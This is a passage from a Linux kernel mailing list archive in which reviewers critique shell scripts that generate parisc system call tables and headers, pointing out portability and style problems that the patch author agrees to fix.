         B5OPd6NOAi1z2VgXWZ3Y64akP/E0DZXaVIv4A=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=urTikZOFC/xFyAZBVpc/2F4KrKfhCiBOGIIT9NNjgt8=;
        b=kvASgEJQyKq6YBLrS3UNJYHQsHVPg7Sc7Fv9jK5Hhi9sY7kNA4t2LuHbtKAbKUZffI
         7gTCpN7KIzYpjX5S82RQ4JZ9mlz9jYVRoYn3lSYQQwk59ZpNOCrV3nRZiBM/mXwn05OL
         vHvp7g2rNBj9IIlOIIJwnn0XU9YDoVL3sbc3z2tUe6rGVbGAUCaciiJQvfog1+FiBNV2
         +qvZf7J16pKARU5uUuYnCIL2nu1VH/uUeuU6QkpjdzQjcHs0geks+NczkeFgYW75djmr
         cX31QtDkToFtsuPD7qkmMLjKf/woOs5VANyhAYxYXPRHjx0rfQlJ6tnS1xGbgXTAZGng
         vHLg==
X-Gm-Message-State: ABuFfogVxeWmlY4bi2/9M1y0yln54eZCv6ebGZhJYy+h9zqi7MkE+JWb
        iycdikog2YubS32rfP9VaPumnbzdmySr3NbnBvXQlg==
X-Google-Smtp-Source: ACcGV636xAmQtxcqDeKVKSY/1HNxSD4I3SbrwuLXK/E2kT+Wlc9IlXtFS0wIT9+HozbVCzkgrSet2BPCqmnP7cNY6A0=
X-Received: by 2002:a25:b127:: with SMTP id g39-v6mr8047966ybj.483.1539578899252;
 Sun, 14 Oct 2018 21:48:19 -0700 (PDT)
In-Reply-To: <c6280818c999449646ec216984f2df9e@sf-tec.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2899001 gmane.linux.ports.parisc:29185 gmane.linux.kernel.year-2038:3526 gmane.linux.kernel.cross-arch:47800
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2899001>

Hi Rolf,

On Fri, 12 Oct 2018 at 17:37, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>
> Firoz Khan wrote:
>
> > diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh
> > b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > new file mode 100644
> > index 0000000..607d4ca
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > @@ -0,0 +1,35 @@
> > +#!/bin/sh
> > +# SPDX-License-Identifier: GPL-2.0
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
>
> Any reason not to use $() instead of backticks?

I got this frame work from x86/entry/syscalls;
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscallhdr.sh
I haven't modified the script but I tune this script to meet my requirements.

Sure, I'll look into this.

>
> > +prefix="$4"
> > +offset="$5"
> > +
> > +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> > +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> > +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > +    echo "#ifndef ${fileguard}"
> > +    echo "#define ${fileguard}"
> > +    echo ""
> > +
> > +    nxt=0
> > +    while read nr abi name entry compat ; do
> > +     if [ -z "$offset" ]; then
> > +         echo -e "#define __NR_${prefix}${name}\t$nr"
>
> This mixed indentation with both tabs and spaces is a bit messy.

Is this what you suggested?
-           echo -e "#define __NR_${prefix}${name}\t$nr"
+           echo "#define __NR_${prefix}${name} $nr"

>
> > +     else
> > +         echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
> > +     fi
> > +     nxt=$nr
> > +     let nxt=nxt+1
>
> Why do you use let here when you do $(()) calculations at other places?

Yes, will do this.
-        nxt=$nr
-        let nxt=nxt+1
+        nxt=$((nxt+1))

>
> > +    done
> > +
> > +    echo ""
> > +    echo "#ifdef __KERNEL__"
> > +    echo -e "#define __NR_syscalls\t$nxt"
> > +    echo "#endif"
> > +    echo ""
> > +    echo "#endif /* ${fileguard} */"
> > +) > "$out"
> > diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh
> > b/arch/parisc/kernel/syscalls/syscalltbl.sh
> > new file mode 100644
> > index 0000000..04abde7
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
> > @@ -0,0 +1,46 @@
> > +#!/bin/sh
> > +# SPDX-License-Identifier: GPL-2.0
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
> > +offset="$4"
> > +
> > +emit() {
> > +    nxt="$1"
> > +    if [ -z "$offset" ]; then
> > +     nr="$2"
> > +    else
> > +     nr="$2"
> > +     nr=$((nr+offset))
>
> This could be one line, no? Or just set offset to 0 if it is empty and
> avoid that if alltogether.

Sure!

>
> > +    fi
> > +    entry="$3"
> > +
> > +    while [ $nxt -lt $nr ]; do
> > +     echo "__SYSCALL($nxt, sys_ni_syscall, )"
> > +        let nxt=nxt+1
> > +    done
> > +    echo "__SYSCALL($nxt, $entry, )"
> > +}
> > +
> > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > +    if [ -z "$offset" ]; then
> > +     nxt=0
> > +    else
> > +     nxt=$offset
> > +    fi
>
> Another argument for offset=0 as default.

Sure.

>
> > +
> > +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
>
> "<<<" is a bash extension and will not work with /bin/sh.

Ohh, ok

>
> > +    while read nr abi name entry compat ; do
> > +     if [ $my_abi = "compat" ]; then
> > +         if [ -z "$compat" ]; then
> > +             emit $nxt $nr $entry
> > +         else
> > +             emit $nxt $nr $compat
> > +         fi
> > +     else
> > +         emit $nxt $nr $entry
> > +     fi
>
> I would go for a local variable being set to $compat or $entry and
> calling emit at only one place. And there should be only one if with 2
> expressions, no need for 3 branches.

Sure.

>
> > +        let nxt=nxt+1
>
> Inconsistent indentation.

I'm using emacs editor with default settings. In the actual file, there is no
indentation problem which I found but if I get patch using git format-patch,
it has inconsistent indentation.

No idea. I could find the same problem in other patches also.
Let me use the vi editor to save the file and get the patch.

Thanks
Firoz

>
> > +    done
> > +) > "$out"
>
> Eike


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Mon, 15 Oct 2018 10:42:27 +0530
Lines: 207
Approved: news@gmane.org
Message-ID: <CALxhOnhLQooctntdD69BsSmwzsx692QbMmHVTcemKFHr2a1SPQ@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org> <20181014010658.GB717@asgard.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539580242 18098 195.159.176.226 (15 Oct 2018 05:10:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 05:10:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: esyr@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 15 07:10:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBv9E-0004XZ-IT
	for glk-linux-kernel-4@m.gmane.org; Mon, 15 Oct 2018 07:10:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726659AbeJOM4Q (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 15 Oct 2018 08:56:16 -0400
Original-Received: from mail-yb1-f193.google.com ([209.85.219.193]:37211 "EHLO
        mail-yb1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726400AbeJOM4P (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 15 Oct 2018 08:56:15 -0400
Original-Received: by mail-yb1-f193.google.com with SMTP id h1-v6so7034573ybm.4
        for <linux-kernel@vger.kernel.org>; Sun, 14 Oct 2018 22:12:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=OzLx9svj9e+xo59LjiZy1h2emoOjD0YaaRGDH5d9hAk=;
        b=MUc4MMciRN2E4RqNwbFVtr84p9iEhatfgTuhzEhczEJZOhM9AzWKKSDtqTtmrx9us1
         BVw3QIHb/eTGT2hTvOiZNVQivdfZZZqNwUT17Vq8PvCnm89ki796AbLledBnH6QfhWvL
         RcYFE+zcnhLLo7yHE1ng5djtdTkBhCeCun28o=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=OzLx9svj9e+xo59LjiZy1h2emoOjD0YaaRGDH5d9hAk=;
        b=C1lcidXddqHLRdVd1l4yADmNv27xizZYAnyYCCdovbxvB+C5sItuFCPK57JmEXCXL8
         XCTmOHj+bDJF/LoLHnHiCngJ2iPNGVx3qTW9jfhV4CuOYTyfmCKPh0Mjik3T62qdzttC
         OFByZNmKASeBE02rd2AwIsHNTVAS3GwxzciUsgWfYsorX+t1GpMgcPvreF3EsieHfqDQ
         Ubvwa9aY26v7apVP6UrPFikEHG2RZ0EraT/JyJIwjoAF3CoT8bH3XNZgNjVcOweFFAt1
         WZYovs3BqYA4N7boK4uBxKpUXmp7Ic/+4PfBns94WityxLBuebZBLXdaeXaVAjo1dDq0
         cGkQ==
X-Gm-Message-State: ABuFfohbYcT+OXI9964jx/N8cl4c8yE3xbnNWXtm9Sdc3UrXEFOM7CCr
        dc2MwDihQlXObfoVyy0IsWdafocOcF442dxlCsz2xw==
X-Google-Smtp-Source: ACcGV61qMPaSWHPBvyi2V7pYGawUFNE3pFYXXAdHYQ/mVJIp6ZvRwdPgzWbdQnhV2XT+7SdLfrDUVdKVuKJAcA5lOE4=
X-Received: by 2002:a25:a063:: with SMTP id x90-v6mr8796156ybh.174.1539580358614;
 Sun, 14 Oct 2018 22:12:38 -0700 (PDT)
In-Reply-To: <20181014010658.GB717@asgard.redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2899019 gmane.linux.ports.parisc:29186 gmane.linux.kernel.year-2038:3527 gmane.linux.kernel.cross-arch:47801
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2899019>

Hi Eugene,

On Sun, 14 Oct 2018 at 06:36, Eugene Syromiatnikov <esyr@redhat.com> wrote:
>
> On Fri, Oct 12, 2018 at 03:13:59PM +0530, Firoz Khan wrote:
> > diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> > new file mode 100644
> > index 0000000..7c9f268
>
> > +86      common  uselib                          sys_ni_syscall
>
> Again, why is this definition left, while others have been removed?

The system call generation script will generate new uapi and syscall
table files and replace the existed one. We'll make sure the generated
file against replaced one will be identical.

uselib is declared in uapi header:
https://github.com/torvalds/linux/blob/master/arch/parisc/include/uapi/asm/unistd.h#L103
So I have to make sure this entry is present in the generated uapi header.

>
> > +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > +349     common  statx                           sys_statx
> > +350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
>
> Tab instead of spaces.

I'm using emacs editor with default settings. In the actual file, there is no
indentation problem which I find but if I get patch using git format-patch,
it has inconsistent indentation.

No idea. I could find the same problem in other patches also.
Let me use the vi editor to save the file and get the patch.

>
> > diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > new file mode 100644
> > index 0000000..607d4ca
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > @@ -0,0 +1,35 @@
> > +#!/bin/sh
>
> /bin/sh -efu
>
> > +# SPDX-License-Identifier: GPL-2.0
>
> "export LANG=C", due to usage of sed/grep/sort.

I got this frame work from x86/entry/syscalls;
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscallhdr.sh
I haven't modified the script but I tune this script to meet my requirements.

Sure, I'll look into this.

>
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
> > +prefix="$4"
> > +offset="$5"
> > +
> > +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> > +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> > +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
>
> grep -E '^[[:xdigit:]Xx]+[[:space:]]+'"${my_abis}" "$in"
> sort -n -k1,1
>
> > +    echo "#ifndef ${fileguard}"
> > +    echo "#define ${fileguard}"
> > +    echo ""
>
>         cat <<-EOF
>                 #ifndef ${fileguard}
>                 #define ${fileguard}
>
>         EOF
>
> > +
> > +    nxt=0
> > +    while read nr abi name entry compat ; do
> > +     if [ -z "$offset" ]; then
> > +         echo -e "#define __NR_${prefix}${name}\t$nr"
> > +     else
> > +         echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
> > +     fi
>
> echo options are not portable; something like
>
>         printf "#define __NR_%s%s\t(%s + %s)" "${prefix}" "${name}" "${offset}" "${nr}"

x86/armhas similar echo implementation.
https://github.com/torvalds/linux/blob/master/arch/arm/tools/syscallhdr.sh

s390 has this printf implemenation.
https://github.com/torvalds/linux/blob/master/arch/s390/kernel/syscalls/syscalltbl

I chose echo one. but it is easy to change to printf :)

>
> > +     nxt=$nr
> > +     let nxt=nxt+1
>
> "let" is a bash extension, posix-conformant expression would be
>
>         nxt=$((nr + 1))
>
> (I would also check that nr >= nxt, however)

Sure.

>
> > +    done
> > +
> > +    echo ""
> > +    echo "#ifdef __KERNEL__"
> > +    echo -e "#define __NR_syscalls\t$nxt"
> > +    echo "#endif"
> > +    echo ""
> > +    echo "#endif /* ${fileguard} */"
>
>         cat <<-EOF
>
>                 #ifdef __KERNEL__
>                 # define __NR_syscalls\t${nxt}
>                 #endif
>
>                 #endif /* ${fileguard} */
>         EOF
>
> > +) > "$out"
> > diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
> > new file mode 100644
> > index 0000000..04abde7
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
> > @@ -0,0 +1,46 @@
> > +#!/bin/sh
> > +# SPDX-License-Identifier: GPL-2.0
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
> > +offset="$4"
> > +
> > +emit() {
> > +    nxt="$1"
> > +    if [ -z "$offset" ]; then
> > +     nr="$2"
> > +    else
> > +     nr="$2"
> > +     nr=$((nr+offset))
> > +    fi
> > +    entry="$3"
> > +
> > +    while [ $nxt -lt $nr ]; do
>
> It would break nicely if nxt="-n x -o 1" or something like that.
>
> > +     echo "__SYSCALL($nxt, sys_ni_syscall, )"
> > +        let nxt=nxt+1
> > +    done
> > +    echo "__SYSCALL($nxt, $entry, )"
> > +}
> > +
> > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > +    if [ -z "$offset" ]; then
> > +     nxt=0
> > +    else
> > +     nxt=$offset
> > +    fi
> > +
> > +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
>
>         my_abi="${my_abis#*|}"
>
> But it looks like that $my_abis includes parentheses and this code
> is broken.

I may planned to have some different implementation for the same.

>
> > +    while read nr abi name entry compat ; do
> > +     if [ $my_abi = "compat" ]; then
> > +         if [ -z "$compat" ]; then
> > +             emit $nxt $nr $entry
> > +         else
> > +             emit $nxt $nr $compat
> > +         fi
> > +     else
> > +         emit $nxt $nr $entry
> > +     fi
> > +        let nxt=nxt+1
> > +    done
> > +) > "$out"

Thanks
Firoz

> > --
> > 1.9.1
> >


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Mon, 15 Oct 2018 07:16:59 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <4517632.a0TFakfgol@daneel.sf-tec.de>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org> <c6280818c999449646ec216984f2df9e@sf-tec.de> <CALxhOngwHfFzCGXknF4_CHjD=4LeM8BnrZ+s-p6ZRcJ3G8i_RA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3045382.2mgNMOvJcN"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1539580511 4091 195.159.176.226 (15 Oct 2018 05:15:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 05:15:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
        linux-parisc-owner@vger.kernel.org
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 15 07:15:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBvDc-0000t6-0v
	for glk-linux-kernel-4@m.gmane.org; Mon, 15 Oct 2018 07:15:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726861AbeJONAt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 15 Oct 2018 09:00:49 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:46281 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726718AbeJONAs (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 15 Oct 2018 09:00:48 -0400
Original-Received: (qmail 2695 invoked from network); 15 Oct 2018 05:17:09 -0000
Original-Received: from dslb-088-071-104-165.088.071.pools.vodafone-ip.de ([::ffff:88.71.104.165]:39886 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <firoz.khan@linaro.org>; Mon, 15 Oct 2018 07:17:09 +0200
In-Reply-To: <CALxhOngwHfFzCGXknF4_CHjD=4LeM8BnrZ+s-p6ZRcJ3G8i_RA@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2899029 gmane.linux.ports.parisc:29187 gmane.linux.kernel.year-2038:3528 gmane.linux.kernel.cross-arch:47802
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2899029>

--nextPart3045382.2mgNMOvJcN
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Firoz Khan wrote:
> Hi Rolf,
> 
> On Fri, 12 Oct 2018 at 17:37, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> > Firoz Khan wrote:

> > > +prefix="$4"
> > > +offset="$5"
> > > +
> > > +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> > > +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> > > +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> > > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > > +    echo "#ifndef ${fileguard}"
> > > +    echo "#define ${fileguard}"
> > > +    echo ""
> > > +
> > > +    nxt=0
> > > +    while read nr abi name entry compat ; do
> > > +     if [ -z "$offset" ]; then
> > > +         echo -e "#define __NR_${prefix}${name}\t$nr"
> > 
> > This mixed indentation with both tabs and spaces is a bit messy.
> 
> Is this what you suggested?
> -           echo -e "#define __NR_${prefix}${name}\t$nr"
> +           echo "#define __NR_${prefix}${name} $nr"

No, this was actually only about the script itself. Looks like your editor has 
tab-width 8 and indentation 4 or so.

Eike
--nextPart3045382.2mgNMOvJcN
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----

iF0EABECAB0WIQSaYVDeqwKa3fTXNeNcpIk+abn8TgUCW8QiywAKCRBcpIk+abn8
TkW/AJ9u7BePqjngSBek/LuUdC5oSBYJUQCgknrnxjpoIDZmHtjFwq8YzC1FGpA=
=1rfo
-----END PGP SIGNATURE-----

--nextPart3045382.2mgNMOvJcN--





From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Mon, 15 Oct 2018 11:15:55 +0530
Lines: 47
Approved: news@gmane.org
Message-ID: <CALxhOngEBVk771h5X5yV6ye23sPCyhxb=U36oJ6RrSDMB3vbyw@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <c6280818c999449646ec216984f2df9e@sf-tec.de> <CALxhOngwHfFzCGXknF4_CHjD=4LeM8BnrZ+s-p6ZRcJ3G8i_RA@mail.gmail.com>
 <4517632.a0TFakfgol@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539582246 21676 195.159.176.226 (15 Oct 2018 05:44:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 05:44:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
        linux-parisc-owner@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 15 07:44:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBvfa-0005TF-Pl
	for glk-linux-kernel-4@m.gmane.org; Mon, 15 Oct 2018 07:43:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727059AbeJON3t (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 15 Oct 2018 09:29:49 -0400
Original-Received: from mail-yb1-f194.google.com ([209.85.219.194]:35687 "EHLO
        mail-yb1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726339AbeJON3t (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 15 Oct 2018 09:29:49 -0400
Original-Received: by mail-yb1-f194.google.com with SMTP id o63-v6so7056705yba.2
        for <linux-kernel@vger.kernel.org>; Sun, 14 Oct 2018 22:46:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=3gvjF6CujWH8Gr/mE/FeoE8qeeUhhgXqAaWnqJeUtI0=;
        b=Z57kS2xC4odmChUX0htviDlUHyqoYAR6EDtw4z3WNlKiskkELNpSoEd82mBWmfUJDt
         A2zKLxaAZKIAz69od+EK98gJlqm+sdh+cCPFjrMob8jA08QEJayx89hqHL81XwUOWiiJ
         o4eCguikaCOrlheRHx9axJIvkm5mNtL9XhmL0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=3gvjF6CujWH8Gr/mE/FeoE8qeeUhhgXqAaWnqJeUtI0=;
        b=BtcjbtxYPfIYt0a4XRw9+6hx8zlV+jSFU2uS4hcv8FrdRbebh04gXaQVoplD6ncd7d
         xoo3ni4fCchzjHDaMFLrfRHFUtHr/qvEsu1MHYjyO6cFdyQmETsFYUBGNS7/pffOTdnA
         CihQ0Ik1fdMVrAyQpkZk2P8v2K7Rgg3MOASTkNJ6CEcHV+fm/uKPm7PROcb6v+7rZV6U
         /2LSK8qzbctERgqeAOUaAmKqskv2tYdYhGc7iGWBebxdvh83PWnWFG4CmFyWk2V0Q3k1
         0BrPl+2Lz2G5nBhgSimqYpOoy97UP2HWVXougxxvb4iOPRAIYetpsCZcAAirUkk5c801
         HsFg==
X-Gm-Message-State: ABuFfoiaiL+8EgeMgjpPZfRX5yp5H9dpSu64F9VZyAiEHdPJkZ34qoqg
        /bX2K7no//5uH2iLkdv0eiq5Nhh0R3l0XUbUCzJJdA==
X-Google-Smtp-Source: ACcGV63/NDHbi94+H0A0tK+tILpn6VVOcbuGOv5874N2c/AndC3l00Oerd0Ykilg/mLNmOfkz7Z/lBZB4MLudxZ40Yg=
X-Received: by 2002:a25:9709:: with SMTP id d9-v6mr8398466ybo.77.1539582366738;
 Sun, 14 Oct 2018 22:46:06 -0700 (PDT)
In-Reply-To: <4517632.a0TFakfgol@daneel.sf-tec.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2899048 gmane.linux.ports.parisc:29188 gmane.linux.kernel.year-2038:3529 gmane.linux.kernel.cross-arch:47803
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2899048>

Hi Eike,

On Mon, 15 Oct 2018 at 10:47, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>
> Firoz Khan wrote:
> > Hi Rolf,
> >
> > On Fri, 12 Oct 2018 at 17:37, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> > > Firoz Khan wrote:
>
> > > > +prefix="$4"
